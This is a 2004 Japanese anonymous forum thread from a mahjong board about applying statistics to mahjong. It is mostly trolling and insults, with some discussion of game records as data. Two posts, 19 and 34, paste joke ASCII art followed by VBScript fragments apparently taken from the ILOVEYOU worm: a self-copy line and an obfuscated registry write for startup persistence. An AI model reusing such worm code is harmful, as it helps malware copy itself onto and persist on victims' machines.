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統計から麻雀を語ろう!

1 :1:04/03/20 21:14 ID:???
確率論じゃなく、統計論から麻雀を語ろうじゃないか!

 統計詳しいやつカモーン!!

2 :ピエト炉 ◆pietroLvxc :04/03/20 21:19 ID:qGL/CIUb
pietro

3 :焼き鳥名無しさん:04/03/21 03:20 ID:FgRjHPAd



4 :焼き鳥名無しさん:04/03/21 06:42 ID:???
>>1
まずはネタをふれ。
それからだ。

5 :焼き鳥名無しさん:04/03/21 10:32 ID:???

人間には、二種類の人間がいる

何でも二種類に分けたがる人間

そうでない人


6 :焼き鳥名無しさん:04/03/21 11:02 ID:???
ぼくは犯罪者の大垣住民 さのし平塚ですがなにか?

7 :焼き鳥名無しさん:04/03/21 11:11 ID:31YRwflo
>>1
人はそれを立て逃げと言うー(>w<)

8 :焼き鳥名無しさん:04/03/21 12:22 ID:m1/h26EB
http://www1.mirai.ne.jp/%7Emieki/FlyinAgain2/math/tokei/yaku1.htm

他のコンテンツも面白いので、ぜひ。

9 :焼き鳥名無しさん:04/03/21 22:25 ID:???
統計とかそんなこと考えながら麻雀するんだ。
凄い脳内スペックですね。




(´_ゝ`)

10 :焼き鳥名無しさん:04/03/22 03:45 ID:???
確かに統計は麻雀という人間特有の思考が介在するゲーム
において有効な手段であると言わざるを得ないだろう。
だがしかし、有効であろう統計をとる為には膨大で
多種多様な種類の記録が必要であり、それらは到底人間に
できることではない。
ある人は東風荘のデータを使えばいいじゃないか、と思うかもしれない。
だがそれはあまりに危険な発想である。
東風荘というあまりに特殊で通常の麻雀と似て非なるものでの
統計が何の役に立とうか。
その特殊かつ異常な麻雀での統計を信じることが
通常の麻雀においてどのくらいの悪影響を与えるかは
容易に推測できるのではないだろうか。

続く。

11 :焼き鳥名無しさん:04/03/22 08:13 ID:???
通常の麻雀とは何か。

12 :焼き鳥名無しさん:04/03/22 19:27 ID:???
東風荘は異常な麻雀である。

13 :焼き鳥名無しさん:04/03/22 19:49 ID:???
A)おい!早く切れよ!
B)ゴメン、今統計見てるから。
A)・・・・・

A)まだかよ!
B)もうチョイ
A)いい加減にしろ
B)うーん、この数値が気になるんだよな。

A)・・・・こ  の  や  ろ

で、統計取る奴は負け組み

14 :焼き鳥名無しさん:04/03/22 20:15 ID:???
イライラしてるA=>>13がどう考えても負け組み(笑

15 :焼き鳥名無しさん:04/03/22 20:26 ID:fmR4Pa5u
Bは電波だが負け組みではない。

16 :焼き鳥名無しさん:04/03/22 20:29 ID:a5CGHKck


  や れ や れ 必 死 だ な



17 :焼き鳥名無しさん:04/03/22 20:32 ID:???
統計なんてバイオリズムで麻雀やってるようなもの。
そんなものより瞬間に判断できる確立の方が重要。

18 :焼き鳥名無しさん:04/03/22 20:45 ID:???
どう考えても>>13=>>16が負け組み(笑

19 :焼き鳥名無しさん:04/03/22 22:19 ID:???

何だかよくわかりませんが、鳥インフルエンザの詰め合わせ置いときますね

     , - 、, - 、
   , - 、i'・e・ ヽ,,・ァ, - 、
  4 ・   ゝ - 、i'e・ ヽ、・ァ
  ゝ   i e・  ヽ、 ,,.-''´|
 |`"''-,,_i   ,,.-''´    |
 |    "'''i"    ,,.-'"
 `"''-,,_.  |  ,,.-''"
     "'''--'''"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

20 :焼き鳥名無しさん:04/03/23 00:30 ID:???
そうか・・・
  もう春なんだな・・・・・

21 :焼き鳥名無しさん:04/03/23 02:30 ID:???
>>19
なんでお前そんなに必死なの?

22 :焼き鳥名無しさん:04/03/23 03:23 ID:???
>>67
2切り。

23 :焼き鳥名無しさん:04/03/23 03:54 ID:???
このページをリロードしたらウイルスに感染しましたって
出るんだけど、大丈夫?

24 :焼き鳥名無しさん:04/03/23 04:24 ID:???
やばいage

25 :焼き鳥名無しさん:04/03/23 06:44 ID:???
1のようなDQNに統計論は分からんだろ

26 :焼き鳥名無しさん:04/03/23 08:59 ID:???
へぇ

27 :焼き鳥名無しさん:04/03/23 14:01 ID:3FbuEh2u
>>17
ドドーン!
お前は確率って漢字をリアルで間違ってるタイプ!


28 :焼き鳥名無しさん:04/03/23 19:06 ID:???
何か1の自演オンパレードって感じだね。

29 :焼き鳥名無しさん:04/03/23 19:58 ID:???
違う。
アフォな>>1と必死な>>13の醜い争いって感じ(笑

30 :焼き鳥名無しさん:04/03/23 20:02 ID:???
>>29
粘着も追加すれば?


って、誰のことか分かるよね^^

31 :焼き鳥名無しさん:04/03/23 20:18 ID:???
>>13=30
さすが粘着。レス早すぎw

ちなみに俺は>>13しか書いてないんだけどね。

32 :焼き鳥名無しさん:04/03/23 20:19 ID:???
↑訂正
>>14しか

どーでもいいけど勘違いしてるっぽだったから一応ね。

33 :焼き鳥名無しさん:04/03/23 20:24 ID:???
( ゚д゚)、オエッ

34 :焼き鳥名無しさん:04/03/23 22:22 ID:???
何だかよくわかりませんが、鳥インフルエンザの詰め合わせ置いときますね

     , - 、, - 、
   , - 、i'・e・ ヽ,,・ァ, - 、
  4 ・   ゝ - 、i'e・ ヽ、・ァ
  ゝ   i e・  ヽ、 ,,.-''´|
 |`"''-,,_i   ,,.-''´    |
 |    "'''i"    ,,.-'"
 `"''-,,_.  |  ,,.-''"
     "'''--'''"
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G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),
E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))


35 :焼き鳥名無しさん:04/03/23 22:26 ID:???
,/              ヽ
            /           ,  、  l.     ',   おっ?!
          , -,/ノ     /l  ハ !  l  i. |   l 、
         /  / i l   イノ|l iト、!l  ト、 l、 i i! ト、l.ヽ 勝負するか?
           l  〃| i!  /ー=-、! リ、. l_,,ェ-レ! ト、l ヽ !
         l  イ i .ハ   ト、     ヽ!    ノ l、i!   l
           l   li l  lヽニー   、   ,イ/ハ.l  ,'
         l   i l ハ ヽ、  i ̄ノ ./l lノ/ ヽ, ,'
          l   l  リ ヽヽ `'i 、 /  〃 !   ,'
          ',  i     ヾl  !         l   .,'
           ',. ',         i      ,'  /
           ',  ゝ.:::.    人    :::ノ  .,'
           / l   `iー‐ '"  `ー‐ ィ゙   ,'
          /  i     l   _,、     !   ト、
       ,./   `'l    |       l    | \
       /     |    l.        i     .l   ヽ
.    /         l.    !      |    |     \
  ./           l    !    ノ,イ     l         ヽ
 , '              ',    L _,...,__r" i!   ,'          ヽ
.'            |   |l:.:.:.:.:.:| ヽ, |   l          ヽ
                l.   l l:.:.:.:.:.:! ヽ|    l
            ,ィ    !ノ:.:.:.:.:|__ l    l
           /ノ   i:.:.:.:.:.:.:.ヽ:.:.:.l    !_
         ,r'"´     ノ:.:.:.:.:.:.:.:.:.`:.:.ヽ   `ヽ,


36 :焼き鳥名無しさん:04/03/24 02:42 ID:???
麻雀板でもこういう事するやつがいるんだ・・・

37 :焼き鳥名無しさん:04/03/25 03:06 ID:???
>>13の粘着っぷりはホント凄いね(笑

なんでそんなに必死なんだろうか…

38 :焼き鳥名無しさん:04/03/25 04:09 ID:???
1も13も必死なわけだが、ったくつまらないスレだ。

39 :1:04/03/25 05:43 ID:???
今から

>>13を弄って反応を遠くから観察するスレ

に変更します。

40 :焼き鳥名無しさん:04/03/25 06:25 ID:???
くだらん

41 :焼き鳥名無しさん:04/03/25 13:50 ID:???
統計に必要な大量のデータは自分の成績しか取れないから自分の分析しか出来ない。
どうやって>>10が言うように不特定多数のデータを収集するつもりなのか。
>>13の言うように対局中に統計データから次の打牌を考えている時間など無い。


42 :4:04/03/25 14:23 ID:???
なんか、荒れてるな。
ネタを振れない1が無能なせいか。

43 :焼き鳥名無しさん:04/03/25 18:20 ID:???
13はひどい

44 :焼き鳥名無しさん:04/03/25 18:28 ID:???
荒らす香具師も悪いが、なんでこんな糞スレ立てるのか・・・

45 :焼き鳥名無しさん:04/03/25 18:49 ID:???
>>44
タイトルは悪くないと思うんだけど、具体的な話題が一つも出ていないんだよね。

46 :焼き鳥名無しさん:04/03/25 18:53 ID:???
他力本願な人はどこにいっても成功しないという事

47 :焼き鳥名無しさん:04/03/25 19:10 ID:???
なんでこんな糞スレをageるのか分からない。

48 :焼き鳥名無しさん:04/03/25 20:57 ID:???
好きにさせとけよ

49 :焼き鳥名無しさん:04/03/25 21:05 ID:U5y/gLVG
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50 :ポッター:04/03/25 23:12 ID:/KN8lxXo
がおぅ

51 :阿左谷北:04/03/25 23:39 ID:???
>>45
統計の言葉しか知らないDQNが立てたスレだ。
スレ自体に何の意味も持たない。

52 :焼き鳥名無しさん:04/03/26 01:10 ID:???
>>13晒し上げ

53 :焼き鳥名無しさん:04/03/26 04:14 ID:???
つうか牌譜がほしいなら普通に買えばいいじゃん
売ってるプロ団体あるって

54 :焼き鳥名無しさん:04/03/26 06:52 ID:???
プロと打つつもりかよ

55 :焼き鳥名無しさん:04/03/26 06:57 ID:???
つーか
面白くないな、このスレ
統計では有効に使えないんだろうな

56 :焼き鳥名無しさん:04/03/26 07:14 ID:???
>>54
いったい誰と打つつもりなんだ?

57 :焼き鳥名無しさん:04/03/26 19:39 ID:???
>>56
53に聞けよ

58 :焼き鳥名無しさん:04/03/26 20:58 ID:???
http://gamble2.2ch.net/test/read.cgi/mj/1051896720/

59 :焼き鳥名無しさん:04/03/26 21:56 ID:???
糞スレ万歳

60 :52:04/03/26 22:51 ID:???
>>13晒し上げ


61 :焼き鳥名無しさん:04/03/26 23:26 ID:???
>>13

  ク    ク   || プ  / ク   ク  || プ  /
  ス  ク ス _  | | │ //. ス ク ス _ | | │ //
  / ス   ─  | | ッ // /  ス   ─ | | ッ //
  / _____  // /          //
.  /   l⌒l l⌒l \  ))   ____
. / / ̄| ,=| |=、| ̄ヾ   / ____ヽ
/ ̄/ ̄.  ー'●ー'  ̄l ̄ |  | /, −、, -、l  ))
| ̄l ̄ ̄  __ |.    ̄l ̄.| _| -| ,=|=、 ||
|. ̄| ̄ ̄  `Y⌒l__ ̄ノ ̄ (6.   ー っ-´、}
ヽ  ヽ    人_(  ヾ    ヽ    `Y⌒l_ノ
  >〓〓〓〓〓〓-イ   /ヽ  人_(  ヽ
/   /  Θ  ヽ|  /    ̄ ̄ ̄ ヽ-イ


62 :13:04/03/27 00:41 ID:???
>>18,31,32,37,39,43,52,60,61

悪いけど、俺は13以降レスしてないよ。
恐らく同一人物(>>1?)と思うけど酷くないかい?

63 :13:04/03/27 00:58 ID:???
だんだん腹が立ってきた。
多少ネタのつもりで書いたのに、それなら>>1が統計の優位性を示したら?
何でそこまでしつこくされなきゃいけないのかわからない。

64 :焼き鳥名無しさん:04/03/27 01:48 ID:???
>>63
13は、3年前の2chならともかく、現在の2chなら煽られても仕方ないかも。
このスレッドでも、そのうち適した話題が出ると思いますよ。

65 :焼き鳥名無しさん:04/03/27 02:37 ID:???



こ  の  や  ろ




66 :焼き鳥名無しさん:04/03/27 02:41 ID:???
あふぉは上げるのに必死だな(藁

67 :焼き鳥名無しさん:04/03/27 02:51 ID:???
>>65

こ  の  や  ろ


68 :焼き鳥名無しさん:04/03/27 06:43 ID:???
ここは立て逃げしたように見せてる1が荒らしの自演をするスレです。

69 :焼き鳥名無しさん:04/03/27 08:14 ID:???
>>63
荒らしは、相手が過剰に反応してくることを楽しんでいる。
こうした書き込みには、反応せず無視することが一番の得策。

70 :焼き鳥名無しさん:04/03/27 08:44 ID:???
>>69

こ  の  や  ろ




71 :焼き鳥名無しさん:04/03/27 13:13 ID:???
>>1
全角使って保守も大変だね(プゲラ

72 :1:04/03/27 16:45 ID:???
>>62
わろたwwwwwwwwwwwwwwwwwwwwww
>>19なんかは誰がどう考えても>>13だろ。
必死過ぎなんだよ、お前(プゲラ


73 :焼き鳥名無しさん:04/03/27 17:08 ID:???
264 名前:焼き鳥名無しさん[sage] 投稿日:03/11/28 18:13 ID:???
前SPでこんなんみたな
四四五六123555ABC この形から3を引いてきて四切りリーチ
数順後追っかけリーチに放縦。
何故わざわざ二枚切れのペンチャンに受けるのかと問い詰めたいw
こんなんが称号名人なんだもんなぁ・・・

274 名前:264[age] 投稿日:03/11/28 18:59 ID:???
おまえらばか?
1233だからペンチャン待ちにきまってんだろーが(藁
お前ら口ばっかでマージャンヘタそうだなwwwwww
カモらせろ!


74 :焼き鳥名無しさん:04/03/27 17:16 ID:???
ゴミクズからかうのも飽きたな

75 :1:04/03/27 17:46 ID:???
いい感じに>>13の反応を観察するスレっぽくなってきたなw
餌ひとつに5回くらい食いついてくるのがたまらんw

76 :焼き鳥名無しさん:04/03/27 18:40 ID:???
>>75
まだ、そう思っているのか。(プゲラ
統計的にみても、1はゴミクズ同然という事になる。

77 :焼き鳥名無しさん:04/03/27 18:43 ID:???
そこまでして上げたいのか。
サルと何とかは高いところが好きだからな。(藁

78 :焼き鳥名無しさん:04/03/27 23:33 ID:???
プッ

79 :焼き鳥名無しさん:04/03/27 23:41 ID:???
無理して盛り上げようと必死だな

80 :焼き鳥名無しさん:04/03/28 08:02 ID:???
粘着されてる奴もあわれだよな。
春休みだから頭のネジが緩んだDQNが湧いてきているからな。
結局DQNがスレ立てたらこうなるといういい見本だな。(藁

81 :焼き鳥名無しさん:04/03/28 19:43 ID:???
にしても>>13はどこでそんなにムカついたんだろうね。
鳥インフルエンザみたいな事やるくらい必死なのがほんと謎。

82 :焼き鳥名無しさん:04/03/28 19:50 ID:???
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83 :焼き鳥名無しさん:04/03/28 20:19 ID:???
>>81
それを言ったら必死さは1も13も同じなんだが。

で、DQNは除外してだな、統計論のネタ提供者はいないのか。
ただし、東風以外でだ。
なぜなら、普通リアルでは膨大なデーターは持っていないから
そこで何が有効となるか。

84 :焼き鳥名無しさん:04/03/28 20:35 ID:???
>>83
厖大なデータなしに有効な統計論を扱うことはできないと思う。
牌譜がとってなければ、統計論に基づいて意義あることは何一つ主張できないかと。

85 :焼き鳥名無しさん:04/03/28 22:26 ID:???
先が見えてるが・・

そうなると、どういう方法でなら標本を集めることができるのだろうか。

86 :焼き鳥名無しさん:04/03/28 22:30 ID:???
>>85
やはり、原則的にはネット麻雀の牌譜の分析から出発して、その特殊性(チップなし、お金がかかっていない)
ゆえのバイアスが影響を与えていると考えられるのであれば、修正するという方向で。


87 :焼き鳥名無しさん:04/03/28 22:56 ID:???
結局、東風か。
>>41でも書いたが特定の相手の標本は全て取りようがないから、
牌譜から自分のデータだけの抜き出しとなる。
つまり、自己分析にしか使えない。
それならネット雀荘でなくても、PC麻雀の方がツールとしていいと思うが。

88 :焼き鳥名無しさん:04/03/28 23:07 ID:???
>>87
PC麻雀とは何ですか?

89 :焼き鳥名無しさん:04/03/29 02:09 ID:???
何度も言うようにプロの牌譜買ったらいいのに
ヘタクソの牌譜集めて何か有益なものが出てくると思います?
あ、ヘタクソ同士で打つ場合は有益かもね

90 :焼き鳥名無しさん:04/03/29 02:12 ID:???
>>89
プロの牌譜はPC上で統計を取るためには、やはり手入力する必要がありますか?

91 :焼き鳥名無しさん:04/03/29 04:45 ID:???
そんなことないです
媒体料(200円くらい)を支払えばmjscore形式のファイルで買い求めることができます

92 :焼き鳥名無しさん:04/03/29 07:02 ID:???
何故、プロの牌符が必要なのか。
プロの複数の牌符からどうやって統計をとり、どのように活用する
のか全く見えてこないが、そこからは確率やセオリーなど状況判断的な
分析しかできないのではないか。(それを纏めてあるのが数々の参考書類)
また、それが確率の分析とどう違うのか。
仮に統計とるにしても、自分(+対局者)よりプロのデータが有効なのか。

93 :焼き鳥名無しさん:04/03/29 07:46 ID:???
>>92
すくなくとも>>92がプロでないことはよくわかった。
まずスレタイをよく読めばこの板が一般的にあまり扱われない、統計的見地から得られたデータを議論したり、確率的な分析と比較検討するスレだということはわかると思うんだが。
そうすると普遍性を求めるためにある程度のレベルの対局を想定しなければならず、プロの牌譜は有用だと思われる。
無意味だと思うならそれはそれでいいが、牌譜という字くらいわかるようになったほうがよいよ。以上。

94 :焼き鳥名無しさん:04/03/29 23:49 ID:???
誤字失礼。
その程度であげ足は取らないでくれ。
まずは、対局するのはプロでなく自分ということ。
何らかの分析するにあたってプロより自分のデータから導くのが
普通に考えればより近道。目標な何かを考えれば瞭然。
統計といっているが数学的な手法も無ければ実際の手順も示さず、
それが確率論と何が違ってどこに優位性があるのかまったく分からない。
人を説得するなら具体的に頼む。
ただ、統計論で麻雀を分析することは新しい発想でありどのような
答えがでるかは興味はある。

95 :焼き鳥名無しさん:04/03/30 14:22 ID:KFoKEuhO
http://www1.mirai.ne.jp/%7Emieki/FlyinAgain2/math/tokei/yaku1.htm
これ読んで下さい。



96 :焼き鳥名無しさん:04/03/30 20:52 ID:???
141 名前:焼き鳥名無しさん[sage] 投稿日:04/03/30 20:41 ID:???
>>136
統計=確率と呼べるのは総員が同じ配効率に従った場合のみ
実際にはこのスレの代理のようにアナログ派、オカルト派
デジタルでも打点重視、スピード、防御重視など多数の打ち筋が
存在しているのが現状
この場合、統計を採っていったほうがベストプレイへの近道と言える
むしろモアベタープレイというべきかナ

44 名前:丸井 ◆OLHHt0OLkA [age] 投稿日:04/03/30 20:45 ID:???
>そもそも統計で有意な差が出るほど違いがあるなら普通に確率計算で結論が出せるだろうし,
>単純な確率では答えが出せないほどの微少な差なら統計取っても有意な差は出ないでしょう。
>統計で有意な差を判定するのは実はかなり難しい。
>同じ統計データをふたりに見せたら全く正反対の結論を出したなんてことは茶飯事。

単純な確率で答えが出せないから意見が分かれている。
ある程度のレベルの打ち手なら微小な差を追求しなければそれ以上の上達は望めない。
麻雀は期待値のゲームであって、そのときそのときの手牌や場況、対局者の様子などさまざまな要素が決定する正着が存在する。
しかし数式によってその正着を導くのはほぼ不可能であるから感覚的な期待値から正着を求めなければならない。
この感覚というものは経験によって培われるものであり、麻雀とはこの感覚によって得た期待値が真の期待値に近い者が勝つゲームである。
よってこの感覚から思い込みという要素を排除することは大事なので、客観的な分析が可能な過去の記録を利用するのは有益だと思われる。
同じデータから得た統計的見解が異なるのは単にどちらかが間違っているか条件が不適当であるかだけであって、統計的検証の有効性を否定してはいない。

他スレの書き込みでこんなんあったョ

97 :焼き鳥名無しさん:04/03/30 21:33 ID:???
麻雀やる奴にチマチマ統計とる几帳面な奴はすくないだろう。
いや、皆無に近いな。
もっとも、本当に成果があるのなら既に確立されているだろう。

98 :94:04/03/30 22:28 ID:???
>>95
確かに役満なら数値化しやすいよな。

マジな話、俺は四暗は国士の1/5程度しかない。
狙う役満に偏りはあるとしても、もっと四暗を狙う価値はありそうだな。

なるほど、参考にさせてもらうよ。



99 :焼き鳥名無しさん:04/03/30 22:31 ID:???
1/5 ×
1/3 ○

100 :焼き鳥名無しさん:04/03/31 00:21 ID:???
でさ、実際にどうやって統計データを利用するの?
競馬新聞みたいに見る人によって
でてくる答えはいろいろなんじゃ?

101 :焼き鳥名無しさん:04/03/31 02:09 ID:???
>>100
ある視点からデータを整序することによって、新たな手筋が見えてくるのではないかと。
たとえば、チートイツのドラ単騎待ちはリーチするのが得か損か。
ルール、場に見えているドラの枚数、場に見えているドラ表示牌の枚数によって違いが出るか。
こういう問題に、「この程度こちらの方が有利だ」という形で回答を出せる可能性が出てくると思います。
もちろん、こうしてできた新たなセオリーどおりに実戦で打つかどうかは、(点数状況などがある以上)
牌効率の場合と同じく、また別の問題ということになります。

102 :焼き鳥名無しさん:04/03/31 12:02 ID:???
最高位戦の牌譜は1半荘200円だが協会では現在牌譜を無料配布していることはあまり知られていない

103 :焼き鳥名無しさん:04/03/31 12:04 ID:???
協会の牌譜なんて何の役にも立たない

104 :焼き鳥名無しさん:04/04/03 00:43 ID:???
麻雀戦術談義
ttp://www2.strangeworld.org/uedakana/sahra6138.jpg

105 :焼き鳥名無しさん:04/04/03 07:40 ID:9cCEbbRa
>>102
何処にある?

106 :焼き鳥名無しさん:04/04/03 15:48 ID:9cCEbbRa
牌譜って言ってもあまり良いのないよな。

107 :焼き鳥名無しさん:04/04/03 15:55 ID:+vgt4dSp
氏ね

108 :焼き鳥名無しさん:04/04/05 21:30 ID:I6Hx7+RB
ここで終わりかよ

109 :焼き鳥名無しさん:04/04/07 19:18 ID:???
1なんて何の役にも立たない

110 :焼き鳥名無しさん:04/04/11 12:31 ID:JZcdo9AI
おいおい、結局何も出てこないのか。
統計だと騒いでた割には、全く勉強してこなかったんだな。
なあ、みっふぃーよ。

111 :焼き鳥名無しさん:04/04/19 16:08 ID:4kKNdVV/
111

112 :焼き鳥名無しさん:04/04/21 11:19 ID:IKmpW9wY
あほ

113 :焼き鳥名無しさん:04/04/28 04:21 ID:jl9W1zse
メンタンピンドラドラ

114 :焼き鳥名無しさん:04/04/28 20:30 ID:???
1は中卒DQNですか

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